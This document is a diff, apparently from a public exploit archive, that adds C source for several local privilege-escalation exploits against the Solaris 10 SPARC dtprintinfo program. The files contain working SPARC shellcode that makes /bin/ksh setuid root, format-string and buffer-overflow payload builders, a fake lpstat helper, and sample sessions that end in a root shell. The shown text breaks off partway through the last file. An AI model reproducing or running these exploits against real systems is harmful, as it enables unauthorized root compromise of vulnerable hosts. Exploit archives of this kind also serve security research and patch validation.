"\x20\xbf\xff\xff" /* bn,a */ + "\x7f\xff\xff\xff" /* call */ + "\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */ + "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ + "\x82\x10\x20\x0f" /* mov 0xf, %g1 */ + "\x91\xd0\x20\x08" /* ta 8 */ + /* exit(0) */ + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ + "\x82\x10\x20\x01" /* mov 1, %g1 */ + "\x91\xd0\x20\x08" /* ta 8 */ + "/bin/ksh"; +#endif /* USE_EXEC_SC */ + +/* globals */ +char *arg[2] = {"foo", NULL}; +char *env[256]; +int env_pos = 0, env_len = 0; + +/* prototypes */ +int add_env(char *string); +void check_zero(int addr, char *pattern); +int get_env_addr(char *path, char **argv); +int search_ldso(char *sym); +int search_rwx_mem(void); +void set_val(char *buf, int pos, int val); + +/* + * main() + */ +int main(int argc, char **argv) +{ + char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2]; + char platform[256], release[256], display[256]; + int env_addr, sc_addr, retloc = RETLOC, i0loc, i1loc, i7loc; + int offset = OFFSET; + + int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; + int ret = search_ldso("sprintf"); + int rwx_mem = search_rwx_mem() + 24; /* stable address */ + + int i, stackpops = STACKPOPS; + unsigned char b1, b2, b3, b4; + unsigned base, n[16]; /* must be unsigned */ + + /* lpstat code to add a fake printer */ + if (!strcmp(argv[0], "lpstat")) { + + /* check command line */ + if (argc != 2) + exit(1); + + /* print the expected output and exit */ + if(!strcmp(argv[1], "-v")) { + fprintf(stderr, "lpstat called with -v\n"); + printf("device for fnord: /dev/null\n"); + } else { + fprintf(stderr, "lpstat called with -d\n"); + printf("system default destination: fnord\n"); + } + exit(0); + } + + /* helper program that prints argv[0] address, used by get_env_addr() */ + if (!strcmp(argv[0], "foo")) { + printf("0x%p\n", argv[0]); + exit(0); + } + + /* print exploit information */ + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); + + /* process command line */ + if ((argc < 2) || (argc > 4)) { +#ifdef USE_EXEC_SC + fprintf(stderr, "usage: %s xserver:display [retloc] [offset]\n\n", argv[0]); +#else + fprintf(stderr, "usage:\n$ %s xserver:display [retloc] [offset]\n$ /bin/ksh\n\n", argv[0]); +#endif /* USE_EXEC_SC */ + exit(1); + } + sprintf(display, "DISPLAY=%s", argv[1]); + if (argc > 2) + retloc = (int)strtoul(argv[2], (char **)NULL, 0); + if (argc > 3) + offset = (int)strtoul(argv[3], (char **)NULL, 0); + + /* calculate saved %i0 and %i7 locations based on retloc */ + i0loc = retloc + offset; + i1loc = i0loc + 4; + i7loc = i0loc + 28; + + /* evil env var: name + shellcode + padding */ + memset(buf, 'A', sizeof(buf)); + buf[sizeof(buf) - 1] = 0x0; + memcpy(buf, "REQ_DIR=", strlen("REQ_DIR=")); + p += strlen("REQ_DIR="); + + /* padding buffer to avoid stack overflow */ + memset(buf2, 'B', sizeof(buf2)); + buf2[sizeof(buf2) - 1] = 0x0; + + /* fill the envp, keeping padding */ + add_env(buf2); + add_env(buf); + add_env(display); + add_env("TMP_DIR=/tmp"); + add_env("PATH=.:/usr/bin"); + sc_addr = add_env("HOME=/tmp"); + add_env(sc); + add_env(NULL); + + /* calculate the needed addresses */ + env_addr = get_env_addr(VULN, argv); + sc_addr += env_addr; + +#ifdef USE_EXEC_SC + /* populate exec shellcode placeholder */ + set_val(sc, 48, sb - 1024); +#endif /* USE_EXEC_SC */ + + /* format string: saved ret */ + *((void **)p) = (void *)(retloc); p += 4; /* 0x000000ff */ + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(retloc); p += 4; /* 0x00ff0000 */ + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(retloc); p += 4; /* 0xff000000 */ + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(retloc + 2); p += 4; /* 0x0000ff00 */ + memset(p, 'A', 4); p += 4; /* dummy */ + + /* format string: saved %i0: 1st arg to sprintf() */ + *((void **)p) = (void *)(i0loc); p += 4; /* 0x000000ff */ + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(i0loc); p += 4; /* 0x00ff0000 */ + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(i0loc); p += 4; /* 0xff000000 */ + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(i0loc + 2); p += 4; /* 0x0000ff00 */ + memset(p, 'A', 4); p += 4; /* dummy */ + + /* format string: saved %i7: return address */ + *((void **)p) = (void *)(i7loc); p += 4; /* 0x000000ff */ + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(i7loc); p += 4; /* 0x00ff0000 */ + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(i7loc); p += 4; /* 0xff000000 */ + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(i7loc + 2); p += 4; /* 0x0000ff00 */ + memset(p, 'A', 4); p += 4; /* dummy */ + + /* format string: saved %i1: 2nd arg to sprintf() */ + *((void **)p) = (void *)(i1loc); p += 4; /* 0x000000ff */ + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(i1loc); p += 4; /* 0x00ff0000 */ + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(i1loc); p += 4; /* 0xff000000 */ + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(i1loc + 2); p += 4; /* 0x0000ff00 */ + + /* format string: stackpop sequence */ + base = p - buf - strlen("REQ_DIR="); + for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8) + memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ)); + + /* calculate numeric arguments for retloc */ + SPLITB(b1, b2, b3, b4, (ret - 4)); + CALCARGS(n[0], n[1], n[2], n[3], b1, b2, b3, b4, base); + + /* calculate numeric arguments for i0loc */ + SPLITB(b1, b2, b3, b4, rwx_mem); + CALCARGS(n[4], n[5], n[6], n[7], b1, b2, b3, b4, base); + + /* calculate numeric arguments for i7loc */ + SPLITB(b1, b2, b3, b4, (rwx_mem - 8)); + CALCARGS(n[8], n[9], n[10], n[11], b1, b2, b3, b4, base); + + /* calculate numeric arguments for i1loc */ + SPLITB(b1, b2, b3, b4, sc_addr); + CALCARGS(n[12], n[13], n[14], n[15], b1, b2, b3, b4, base); + + /* check for potentially dangerous numeric arguments below 10 */ + for (i = 0; i < 16; i++) + n[i] += (n[i] < 10) ? (0x100) : (0); + + /* format string: write string */ + sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[0], n[1], n[2], n[3], n[4], n[5], n[6], n[7], n[8], n[9], n[10], n[11], n[12], n[13], n[14], n[15]); + buf[strlen(buf)] = 'A'; /* preserve buf length */ + + /* we need at least one directory inside TMP_DIR to trigger the bug */ + mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO); + + /* create a symlink for the fake lpstat */ + unlink("lpstat"); + symlink(argv[0], "lpstat"); + + /* print some output */ + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); + sysinfo(SI_RELEASE, release, sizeof(release) - 1); + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); + fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); + fprintf(stderr, "Using ret location\t: 0x%p\n", (void *)retloc); + fprintf(stderr, "Using %%i0 location\t: 0x%p\n", (void *)i0loc); + fprintf(stderr, "Using %%i1 location\t: 0x%p\n", (void *)i1loc); + fprintf(stderr, "Using %%i7 location\t: 0x%p\n", (void *)i7loc); + fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); + fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); + fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret); + + /* check for null bytes (add some padding to env if needed) */ + check_zero(retloc, "ret location"); + check_zero(i0loc, "%%i0 location"); + check_zero(i1loc, "%%i1 location"); + check_zero(i7loc, "%%i7 location"); + check_zero(rwx_mem, "rwx_mem address"); + check_zero(sc_addr, "sc address"); + + /* run the vulnerable program */ + execve(VULN, arg, env); + perror("execve"); + exit(1); +} + +/* + * add_env(): add a variable to envp and pad if needed + */ +int add_env(char *string) +{ + int i; + + /* null termination */ + if (!string) { + env[env_pos] = NULL; + return env_len; + } + + /* add the variable to envp */ + env[env_pos] = string; + env_len += strlen(string) + 1; + env_pos++; + + /* pad the envp using zeroes */ + if ((strlen(string) + 1) % 4) + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { + env[env_pos] = string + strlen(string); + env_len++; + } + + return env_len; +} + +/* + * check_zero(): check an address for the presence of a 0x00 + */ +void check_zero(int addr, char *pattern) +{ + if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || + !(addr & 0xff000000)) { + fprintf(stderr, "error: %s contains a 0x00!\n", pattern); + exit(1); + } +} + +/* + * get_env_addr(): get environment address using a helper program + */ +int get_env_addr(char *path, char **argv) +{ + char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; + char hex[11] = "\x00"; + int fd[2], addr; + + /* truncate program name at correct length and create a hard link */ + prog[strlen(path)] = 0x0; + unlink(prog); + link(argv[0], prog); + + /* open pipe to read program output */ + if (pipe(fd) < 0) { + perror("pipe"); + exit(1); + } + + switch(fork()) { + + case -1: /* cannot fork */ + perror("fork"); + exit(1); + + case 0: /* child */ + dup2(fd[1], 1); + close(fd[0]); + close(fd[1]); + execve(prog, arg, env); + perror("execve"); + exit(1); + + default: /* parent */ + close(fd[1]); + read(fd[0], hex, sizeof(hex)); + break; + } + + /* check and return address */ + if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) { + fprintf(stderr, "error: cannot read ff address from helper program\n"); + exit(1); + } + return addr + 4; +} + +/* + * search_ldso(): search for a symbol inside ld.so.1 + */ +int search_ldso(char *sym) +{ + int addr; + void *handle; + Link_map *lm; + + /* open the executable object file */ + if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { + perror("dlopen"); + exit(1); + } + + /* get dynamic load information */ + if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { + perror("dlinfo"); + exit(1); + } + + /* search for the address of the symbol */ + if ((addr = (int)dlsym(handle, sym)) == NULL) { + fprintf(stderr, "error: sorry, function %s() not found\n", sym); + exit(1); + } + + /* close the executable object file */ + dlclose(handle); + + check_zero(addr - 4, sym); + return addr; +} + +/* + * search_rwx_mem(): search for an RWX memory segment valid for all + * programs (typically, /usr/lib/ld.so.1) using the proc filesystem + */ +int search_rwx_mem(void) +{ + int fd; + char tmp[16]; + prmap_t map; + int addr = 0, addr_old; + + /* open the proc filesystem */ + sprintf(tmp,"/proc/%d/map", (int)getpid()); + if ((fd = open(tmp, O_RDONLY)) < 0) { + fprintf(stderr, "error: can't open %s\n", tmp); + exit(1); + } + + /* search for the last RWX memory segment before stack (last - 1) */ + while (read(fd, &map, sizeof(map))) + if (map.pr_vaddr) + if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { + addr_old = addr; + addr = map.pr_vaddr; + } + close(fd); + + /* add 4 to the exact address null bytes */ + if (!(addr_old & 0xff)) + addr_old |= 0x04; + if (!(addr_old & 0xff00)) + addr_old |= 0x0400; + + return addr_old; +} + +/* + * set_val(): copy a dword inside a buffer + */ +void set_val(char *buf, int pos, int val) +{ + buf[pos] = (val & 0xff000000) >> 24; + buf[pos + 1] = (val & 0x00ff0000) >> 16; + buf[pos + 2] = (val & 0x0000ff00) >> 8; + buf[pos + 3] = (val & 0x000000ff); +} \ No newline at end of file diff --git a/exploits/solaris/local/49517.c b/exploits/solaris/local/49517.c new file mode 100644 index 000000000..4b881b59b --- /dev/null +++ b/exploits/solaris/local/49517.c @@ -0,0 +1,309 @@ +# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2) +# Date: 2021-02-01 +# Exploit Author: Marco Ivaldi +# Vendor Homepage: https://www.oracle.com/solaris/solaris10/ +# Version: Solaris 10 +# Tested on: Solaris 10 1/13 SPARC + +/* + * raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE + * Copyright (c) 2020 Marco Ivaldi + * + * "You still haven't given up on me?" -- Bruce Wayne + * "Never!" -- Alfred Pennyworth + * + * I would like to thank ~A. for his incredible research work spanning decades, + * an endless source of inspiration for me. + * + * Whoah, this one wasn't easy! This is a pretty lean exploit now, but its + * development took me some time. It's been almost two weeks, and I came + * close to giving up a couple of times. Here's a summary of the main + * roadblocks and complications I ran into while porting my dtprintinfo + * format string exploit to SPARC: + * + * - Half word writes and similar techniques that need to print a large amount + * of chars are problematic, because we have both a format string bug and a + * stack-based buffer overflow, and we risk running out of stack space! We + * might be able to prevent this by increasing the size of the padding buffer, + * (buf2) but your mileage may vary. + * + * - I therefore opted for a more portable single-byte write, but SPARC is a + * RISC architecture and as such it's not happy with memory operations on + * misaligned addresses... So I had to figure out a possibly novel technique + * to prevent the dreaded Bus Error. It involves the %hhn format string, check + * it out! + * + * - Once I had my write-what primitive figured out, I needed to pick a suitable + * memory location to patch... and I almost ran out of options. Function + * activation records turned out to be cumbersome and unreliable (see my PoC + * raptor_dtprintcheckdir_sparc.c), .plt entries in the vulnerable binary + * start with a null byte, and the usual OS function pointers that were + * popular targets 15 years ago are not present in modern Solaris 10 releases + * anymore. Finally, I noticed that the libc also contains .plt jump codes + * that get executed upon function calling. Since they don't start with a null + * byte, I decided to target them. + * + * - Instead of meddling with jump codes, to keep things simpler I decided to + * craft the shellcode directly in the .plt section of libc by exploiting the + * format string bug. This technique proved to be very effective, but + * empirical tests showed that (for unknown reasons) the shellcode size was + * limited to 36 bytes. It looks like there's a limit on the number of args, + * to sprintf(), unrelated to where we write in memory. Who cares, 36 bytes + * are just enough to escalate privileges. + * + * After I plugged a small custom shellcode into my exploit, it worked like a + * charm. Simple, isn't it?;) + * + * To get the libc base, use pmap on the dtprintinfo process, e.g.: + * $ pmap 4190 | grep libc.so.1 | grep r-x + * FE800000 1224K r-x-- /lib/libc.so.1 + * + * To grab the offset to strlen in .plt, you can use objdump as follows: + * $ objdump -R /usr/lib/libc.so.1 | grep strlen + * 0014369c R_SPARC_JMP_SLOT strlen + * + * This bug was likely fixed during the general cleanup of CDE code done by + * Oracle in response to my recently reported vulnerabilities. However, I can't + * confirm this because I have no access to their patches:/ + * + * See also: + * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez) + * raptor_dtprintcheckdir_intel2.c + * raptor_dtprintcheckdir_sparc.c (just a proof of concept) + * + * Usage: + * $ gcc raptor_dtprintcheckdir_sparc2.c -o raptor_dtprintcheckdir_sparc2 -Wall + * [on your xserver: disable the access control] + * $ ./raptor_dtprintcheckdir_sparc2 10.0.0.104:0 + * raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE + * Copyright (c) 2020 Marco Ivaldi + * + * Using SI_PLATFORM : SUNW,SPARC-Enterprise (5.10) + * Using libc/.plt/strlen : 0xfe94369c + * + * Don't worry if you get a SIGILL, just run /bin/ksh anyway! + * + * lpstat called with -v + * lpstat called with -v + * lpstat called with -d + * [on your xserver: double click on the fake "fnord" printer] + * Illegal Instruction + * $ ls -l /bin/ksh + * -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh + * $ ksh + * # id + * uid=100(user) gid=1(other) euid=0(root) egid=2(bin) + * # + * + * Tested on: + * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise + * [previous Solaris versions are also likely vulnerable (and easier to exploit)] + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define INFO1 "raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE" +#define INFO2 "Copyright (c) 2020 Marco Ivaldi " + +#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program +#define BUFSIZE 3000 // size of evil env var +#define BUFSIZE2 10000 // size of padding buf +#define STACKPOPSEQ "%.8x" // stackpop sequence +#define STACKPOPS 383 // number of stackpops + +/* default retloc is .plt/strlen in libc */ +#define LIBCBASE 0xfe800000 // base address of libc +#define STRLEN 0x0014369c // .plt/strlen offset + +/* calculate numeric arguments for write string */ +#define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \ + N1 = (B4 - BASE) % 0x100; \ + N2 = (B2 - BASE - N1) % 0x100; \ + N3 = (B1 - BASE - N1 - N2) % 0x100; \ + N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \ + BASE += N1 + N2 + N3 + N4; \ +} + +char sc[] = /* Solaris/SPARC chmod() shellcode (max size is 36 bytes) */ +/* chmod("./me", 037777777777) */ +"\x92\x20\x20\x01" /* sub %g0, 1, %o1 */ +"\x20\xbf\xff\xff" /* bn,a */ +"\x20\xbf\xff\xff" /* bn,a */ +"\x7f\xff\xff\xff" /* call */ +"\x90\x03\xe0\x14" /* add %o7, 0x14, %o0 */ +"\xc0\x22\x20\x04" /* clr [ %o0 + 4 ] */ +"\x82\x10\x20\x0f" /* mov 0xf, %g1 */ +"\x91\xd0\x20\x08" /* ta 8 */ +"./me"; + +/* globals */ +char *arg[2] = {"foo", NULL}; +char *env[256]; +int env_pos = 0, env_len = 0; + +/* prototypes */ +int add_env(char *string); +void check_zero(int addr, char *pattern); + +/* + * main() + */ +int main(int argc, char **argv) +{ + char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2]; + char platform[256], release[256], display[256]; + int retloc = LIBCBASE + STRLEN; + + int i, stackpops = STACKPOPS; + unsigned base, n[strlen(sc)]; /* must be unsigned */ + + /* lpstat code to add a fake printer */ + if (!strcmp(argv[0], "lpstat")) { + + /* check command line */ + if (argc != 2) + exit(1); + + /* print the expected output and exit */ + if(!strcmp(argv[1], "-v")) { + fprintf(stderr, "lpstat called with -v\n"); + printf("device for fnord: /dev/null\n"); + } else { + fprintf(stderr, "lpstat called with -d\n"); + printf("system default destination: fnord\n"); + } + exit(0); + } + + /* print exploit information */ + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); + + /* process command line */ + if (argc < 2) { + fprintf(stderr, "usage:\n$ %s xserver:display [retloc]\n$ /bin/ksh\n\n", argv[0]); + exit(1); + } + sprintf(display, "DISPLAY=%s", argv[1]); + if (argc > 2) + retloc = (int)strtoul(argv[2], (char **)NULL, 0); + + /* evil env var: name + shellcode + padding */ + bzero(buf, sizeof(buf)); + memcpy(buf, "REQ_DIR=", strlen("REQ_DIR=")); + p += strlen("REQ_DIR="); + + /* padding buffer to avoid stack overflow */ + memset(buf2, 'B', sizeof(buf2)); + buf2[sizeof(buf2) - 1] = 0x0; + + /* fill the envp, keeping padding */ + add_env(buf2); + add_env(buf); + add_env(display); + add_env("TMP_DIR=/tmp/just"); /* we must control this empty dir */ + add_env("PATH=.:/usr/bin"); + add_env("HOME=/tmp"); + add_env(NULL); + + /* format string: retloc */ + for (i = retloc; i - retloc < strlen(sc); i += 4) { + check_zero(i, "ret location"); + *((void **)p) = (void *)(i); p += 4; /* 0x000000ff */ + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(i); p += 4; /* 0x00ff0000 */ + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(i); p += 4; /* 0xff000000 */ + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(i + 2); p += 4; /* 0x0000ff00 */ + memset(p, 'A', 4); p += 4; /* dummy */ + } + + /* format string: stackpop sequence */ + base = p - buf - strlen("REQ_DIR="); + for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8) + memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ)); + + /* calculate numeric arguments */ + for (i = 0; i < strlen(sc); i += 4) + CALCARGS(n[i], n[i + 1], n[i + 2], n[i + 3], sc[i], sc[i + 1], sc[i + 2], sc[i + 3], base); + + /* check for potentially dangerous numeric arguments below 10 */ + for (i = 0; i < strlen(sc); i++) + n[i] += (n[i] < 10) ? (0x100) : (0); + + /* format string: write string */ + for (i = 0; i < strlen(sc); i += 4) + p += sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[i], n[i + 1], n[i + 2], n[i + 3]); + + /* setup the directory structure and the symlink to /bin/ksh */ + unlink("/tmp/just/chmod/me"); + rmdir("/tmp/just/chmod"); + rmdir("/tmp/just"); + mkdir("/tmp/just", S_IRWXU | S_IRWXG | S_IRWXO); + mkdir("/tmp/just/chmod", S_IRWXU | S_IRWXG | S_IRWXO); + symlink("/bin/ksh", "/tmp/just/chmod/me"); + + /* create a symlink for the fake lpstat */ + unlink("lpstat"); + symlink(argv[0], "lpstat"); + + /* print some output */ + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); + sysinfo(SI_RELEASE, release, sizeof(release) - 1); + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); + fprintf(stderr, "Using libc/.plt/strlen\t: 0x%p\n\n", (void *)retloc); + fprintf(stderr, "Don't worry if you get a SIGILL, just run /bin/ksh anyway!\n\n"); + + /* run the vulnerable program */ + execve(VULN, arg, env); + perror("execve"); + exit(1); +} + +/* + * add_env(): add a variable to envp and pad if needed + */ +int add_env(char *string) +{ + int i; + + /* null termination */ + if (!string) { + env[env_pos] = NULL; + return env_len; + } + + /* add the variable to envp */ + env[env_pos] = string; + env_len += strlen(string) + 1; + env_pos++; + + /* pad the envp using zeroes */ + if ((strlen(string) + 1) % 4) + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { + env[env_pos] = string + strlen(string); + env_len++; + } + + return env_len; +} + +/* + * check_zero(): check an address for the presence of a 0x00 + */ +void check_zero(int addr, char *pattern) +{ + if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || + !(addr & 0xff000000)) { + fprintf(stderr, "error: %s contains a 0x00!\n", pattern); + exit(1); + } +} \ No newline at end of file diff --git a/exploits/solaris/local/49518.c b/exploits/solaris/local/49518.c new file mode 100644 index 000000000..8dcd6c8ed --- /dev/null +++ b/exploits/solaris/local/49518.c @@ -0,0 +1,437 @@ +# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3) +# Date: 2021-02-01 +# Exploit Author: Marco Ivaldi +# Vendor Homepage: https://www.oracle.com/solaris/solaris10/ +# Version: Solaris 10 +# Tested on: Solaris 10 1/13 SPARC + +/* + * raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC + * Copyright (c) 2004-2020 Marco Ivaldi + * + * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to + * local root. Many thanks to Dave Aitel for discovering this vulnerability + * and for his interesting research activities on Solaris/SPARC. + * + * "None of my dtprintinfo work is public, other than that 0day pack being + * leaked to all hell and back. It should all basically still work. Let's + * keep it that way, cool? :>" -- Dave Aitel + * + * This is a revised version of my original exploit that should work on + * modern Solaris 10 SPARC boxes. I had to figure out a new way to obtain + * the needed addresses that's hopefully universal (goodbye VOODOO macros!). + * and I had to work around some annoying crashes, which led me to write + * a custom shellcode that makes /bin/ksh setuid. Crude but effective;) + * If you feel brave, you can also try my experimental exec shellcode, for + * SPARC V8 plus and above architectures only ("It works on my computer!"). + * + * I'm developing my exploits on a Solaris 10 Branded Zone and I strongly + * suspect this is the reason for the weird behavior in the execution of + * standard SYS_exec shellcodes, because the crash happens in s10_brand.so.1, + * in the strncmp() function called by brand_uucopystr(). If that's indeed + * the case, any shellcode (including lsd-pl.net's classic shellcode) should + * work on physical systems and I just spent a non-neglibible amount of time + * debugging this for no valid reason but my love of hacking... Oh well! + * + * Usage: + * $ gcc raptor_dtprintname_sparc3.c -o raptor_dtprintname_sparc3 -Wall + * [on your xserver: disable the access control] + * $ ./raptor_dtprintname_sparc3 10.0.0.122:0 + * [...] + * $ ls -l /bin/ksh + * -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh + * $ /bin/ksh + * # id + * uid=100(user) gid=1(other) euid=0(root) egid=2(bin) + * # + * + * Tested on: + * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise (Solaris 10 1/13) + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#define INFO1 "raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC" +#define INFO2 "Copyright (c) 2004-2020 Marco Ivaldi " + +#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program +#define BUFSIZE 301 // size of the printer name +#define FFSIZE 64 + 1 // size of the fake frame +#define DUMMY 0xdeadbeef // dummy memory address + +//#define USE_EXEC_SC // uncomment to use exec shellcode + +#ifdef USE_EXEC_SC + char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */ + /* setuid(0) */ + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ + "\x82\x10\x20\x17" /* mov 0x17, %g1 */ + "\x91\xd0\x20\x08" /* ta 8 */ + /* execve("/bin/ksh", argv, NULL) */ + "\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */ + "\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */ + "\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */ + "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ + "\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */ + "\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */ + "\x82\x10\x20\x0b" /* mov 0xb, %g1 */ + "\x91\xd0\x20\x08" /* ta 8 */ + "\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */ + "\x41\x41\x41\x41" /* placeholder */ + "/bin/ksh"; +#else + char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */ + /* setuid(0) */ + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ + "\x82\x10\x20\x17" /* mov 0x17, %g1 */ + "\x91\xd0\x20\x08" /* ta 8 */ + /* chmod("/bin/ksh", 037777777777) */ + "\x92\x20\x20\x01" /* sub %g0, 1, %o1 */ + "\x20\xbf\xff\xff" /* bn,a */ + "\x20\xbf\xff\xff" /* bn,a */ + "\x7f\xff\xff\xff" /* call */ + "\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */ + "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ + "\x82\x10\x20\x0f" /* mov 0xf, %g1 */ + "\x91\xd0\x20\x08" /* ta 8 */ + /* exit(0) */ + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ + "\x82\x10\x20\x01" /* mov 1, %g1 */ + "\x91\xd0\x20\x08" /* ta 8 */ + "/bin/ksh"; +#endif /* USE_EXEC_SC */ + +/* globals */ +char *arg[2] = {"foo", NULL}; +char *env[256]; +int env_pos = 0, env_len = 0; + +/* prototypes */ +int add_env(char *string); +void check_zero(int addr, char *pattern); +int get_ff_addr(char *path, char **argv); +int search_ldso(char *sym); +int search_rwx_mem(void); +void set_val(char *buf, int pos, int val); + +/* + * main() + */ +int main(int argc, char **argv) +{ + char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16]; + char platform[256], release[256], display[256]; + int i, ff_addr, sc_addr, ret_pos, fpt_pos; + + int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; + int ret = search_ldso("sprintf"); + int rwx_mem = search_rwx_mem() + 24; /* stable address */ + + /* fake lpstat code */ + if (!strcmp(argv[0], "lpstat")) { + + /* check command line */ + if (argc != 2) + exit(1); + + /* get ret and fake frame addresses from environment */ + ret = (int)strtoul(getenv("RET"), (char **)NULL, 0); + ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0); + + /* prepare the evil printer name */ + memset(buf, 'A', sizeof(buf)); + buf[sizeof(buf) - 1] = 0x0; + + /* fill with return and fake frame addresses */ + for (i = 0; i < BUFSIZE; i += 4) { + /* apparently, we don't need to bruteforce */ + set_val(buf, i, ret - 4); + set_val(buf, i += 4, ff_addr); + } + + /* print the expected output and exit */ + if(!strcmp(argv[1], "-v")) { + fprintf(stderr, "lpstat called with -v\n"); + printf("device for %s: /dev/null\n", buf); + } else { + fprintf(stderr, "lpstat called with -d\n"); + printf("system default destination: %s\n", buf); + } + exit(0); + } + + /* helper program that prints argv[0] address, used by get_ff_addr() */ + if (!strcmp(argv[0], "foo")) { + printf("0x%p\n", argv[0]); + exit(0); + } + + /* print exploit information */ + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); + + /* process command line */ + if (argc != 2) { +#ifdef USE_EXEC_SC + fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); +#else + fprintf(stderr, "usage:\n$ %s xserver:display\n$ /bin/ksh\n\n", argv[0]); +#endif /* USE_EXEC_SC */ + exit(1); + } + sprintf(display, "DISPLAY=%s", argv[1]); + + /* prepare the fake frame */ + bzero(ff, sizeof(ff)); + for (i = 0; i < 64; i += 4) { + set_val(ff, i, DUMMY); + } + + /* fill the envp, keeping padding */ + sc_addr = add_env(ff); + add_env(sc); + ret_pos = env_pos; + add_env("RET=0x41414141"); /* placeholder */ + fpt_pos = env_pos; + add_env("FPT=0x42424242"); /* placeholder */ + add_env(display); + add_env("PATH=.:/usr/bin"); + add_env("HOME=/tmp"); + add_env(NULL); + + /* calculate the needed 